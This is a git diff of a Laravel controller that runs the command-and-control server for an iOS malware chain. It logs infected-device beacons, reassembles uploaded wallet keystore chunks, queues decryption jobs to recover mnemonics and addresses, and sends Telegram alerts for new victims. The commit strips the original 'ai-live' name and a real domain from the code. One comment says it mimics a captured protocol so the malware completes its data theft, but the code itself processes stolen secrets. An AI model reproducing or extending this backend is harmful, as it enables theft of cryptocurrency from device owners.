feat: app
This commit is contained in:
@@ -3,7 +3,7 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\AiLiveUploadIngester;
|
||||
use App\Services\AppUploadIngester;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
@@ -109,7 +109,7 @@ class AppC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
|
||||
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
|
||||
*
|
||||
* Real protocol recovered from Reqable capture (record 13655):
|
||||
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
|
||||
@@ -122,9 +122,9 @@ class AppC2Controller extends Controller
|
||||
* Log every request + persist chunk bodies, return protocol-faithful
|
||||
* responses so the malware completes the full acquisition pipeline.
|
||||
*/
|
||||
public function aiLiveV2(Request $request): Response
|
||||
public function appUpload(Request $request): Response
|
||||
{
|
||||
$this->logRequest($request, 'ailive_v2');
|
||||
$this->logRequest($request, 'app_upload');
|
||||
|
||||
$path = $request->path(); // e.g. "api/v2/devices"
|
||||
|
||||
@@ -137,7 +137,7 @@ class AppC2Controller extends Controller
|
||||
// ── Device registration ─────────────────────────────────
|
||||
if ($path === 'api/v2/devices') {
|
||||
$body = json_decode((string) $request->getContent(false), true) ?? [];
|
||||
$device = $this->registerAiLiveDevice($request, $body);
|
||||
$device = $this->registerAppDevice($request, $body);
|
||||
|
||||
return $this->json([
|
||||
'code' => 0,
|
||||
@@ -162,10 +162,10 @@ class AppC2Controller extends Controller
|
||||
$uploadId = \Illuminate\Support\Str::uuid()->toString();
|
||||
|
||||
// Resolve the device so we can ingest keystores on completion.
|
||||
$device = $this->findAiLiveDevice($request);
|
||||
$device = $this->findAppDevice($request);
|
||||
|
||||
// Persist session state for chunk tracking
|
||||
Cache::put("ailive_upload:{$uploadId}", [
|
||||
Cache::put("app_upload:{$uploadId}", [
|
||||
'fileName' => $fileName,
|
||||
'fileSize' => $fileSize,
|
||||
'chunkSize' => $chunkSize,
|
||||
@@ -197,7 +197,7 @@ class AppC2Controller extends Controller
|
||||
$uploadId = $m[1];
|
||||
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
|
||||
|
||||
$session = Cache::get("ailive_upload:{$uploadId}");
|
||||
$session = Cache::get("app_upload:{$uploadId}");
|
||||
$numberOfChunks = $session['numberOfChunks'] ?? 1;
|
||||
$chunkSize = $session['chunkSize'] ?? 1048576;
|
||||
$received = ($session['receivedChunks'] ?? 0) + 1;
|
||||
@@ -206,13 +206,13 @@ class AppC2Controller extends Controller
|
||||
// Backfill deviceId into the session from the x-device-id header
|
||||
// if it wasn't captured at /api/v2/uploads time (e.g. session
|
||||
// expired, or the uploads request didn't carry the header).
|
||||
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
|
||||
$headerDeviceId = $this->findAppDevice($request)?->id;
|
||||
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
|
||||
$session['deviceId'] = $headerDeviceId;
|
||||
}
|
||||
if ($session) {
|
||||
$session['receivedChunks'] = $received;
|
||||
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
|
||||
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
|
||||
}
|
||||
|
||||
// On the final chunk, reassemble + parse + store keystores so
|
||||
@@ -242,9 +242,9 @@ class AppC2Controller extends Controller
|
||||
if ($path === 'api/v2/finish') {
|
||||
// All uploads for this device are done — dispatch the async
|
||||
// keystore decryption job to recover mnemonics + addresses.
|
||||
$device = $this->findAiLiveDevice($request);
|
||||
$device = $this->findAppDevice($request);
|
||||
if ($device !== null) {
|
||||
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
|
||||
app(AppUploadIngester::class)->dispatchDecrypt($device);
|
||||
}
|
||||
|
||||
return $this->json(['ok' => true]);
|
||||
@@ -373,7 +373,7 @@ class AppC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Find or create a Device row for an ai-live app-injection beacon.
|
||||
* Find or create a Device row for an App 利用链 beacon.
|
||||
*
|
||||
* The malware POSTs /api/v2/devices with a JSON body carrying:
|
||||
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
|
||||
@@ -391,7 +391,7 @@ class AppC2Controller extends Controller
|
||||
*
|
||||
* @param array<string, mixed> $body
|
||||
*/
|
||||
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
|
||||
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
|
||||
{
|
||||
$rawId = (string) ($body['deviceId']
|
||||
?? $request->headers->get('x-device-id')
|
||||
@@ -461,7 +461,7 @@ class AppC2Controller extends Controller
|
||||
$device->saveQuietly();
|
||||
} catch (\Throwable $e) {
|
||||
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
||||
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
|
||||
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
|
||||
['device_id' => $device->id, 'device_key' => $device->device_id],
|
||||
);
|
||||
}
|
||||
@@ -475,7 +475,7 @@ class AppC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Look up the Device for the current ai-live request without creating
|
||||
* Look up the Device for the current App 利用链 request without creating
|
||||
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
|
||||
* /api/v2/finish where the device was already registered via
|
||||
* /api/v2/devices).
|
||||
@@ -486,7 +486,7 @@ class AppC2Controller extends Controller
|
||||
* fall back to the most recently registered CHAIN_APP device from the
|
||||
* same source IP, so the captured artifacts are never orphaned.
|
||||
*/
|
||||
private function findAiLiveDevice(Request $request): ?\App\Models\Device
|
||||
private function findAppDevice(Request $request): ?\App\Models\Device
|
||||
{
|
||||
// 1. Primary: x-device-id header → device_id lookup.
|
||||
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
|
||||
@@ -536,17 +536,17 @@ class AppC2Controller extends Controller
|
||||
// Skip ingestion — the artifacts stay on disk and can be
|
||||
// reprocessed manually.
|
||||
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
||||
'aiLiveV2 ingest skipped: no device associated with upload',
|
||||
'appUpload ingest skipped: no device associated with upload',
|
||||
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
try {
|
||||
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
|
||||
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
|
||||
} catch (\Throwable $e) {
|
||||
\Illuminate\Support\Facades\Log::channel('keystore')->error(
|
||||
'aiLiveV2 ingest failed: '.$e->getMessage(),
|
||||
'appUpload ingest failed: '.$e->getMessage(),
|
||||
['device_id' => $device->id, 'upload_id' => $uploadId],
|
||||
);
|
||||
}
|
||||
@@ -595,7 +595,7 @@ class AppC2Controller extends Controller
|
||||
}
|
||||
|
||||
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
|
||||
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
|
||||
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
|
||||
// Name files with uploadId + chunkIndex so chunks can be reassembled.
|
||||
if ($body !== '' && empty($saved)) {
|
||||
$path = $request->path();
|
||||
|
||||
Reference in New Issue
Block a user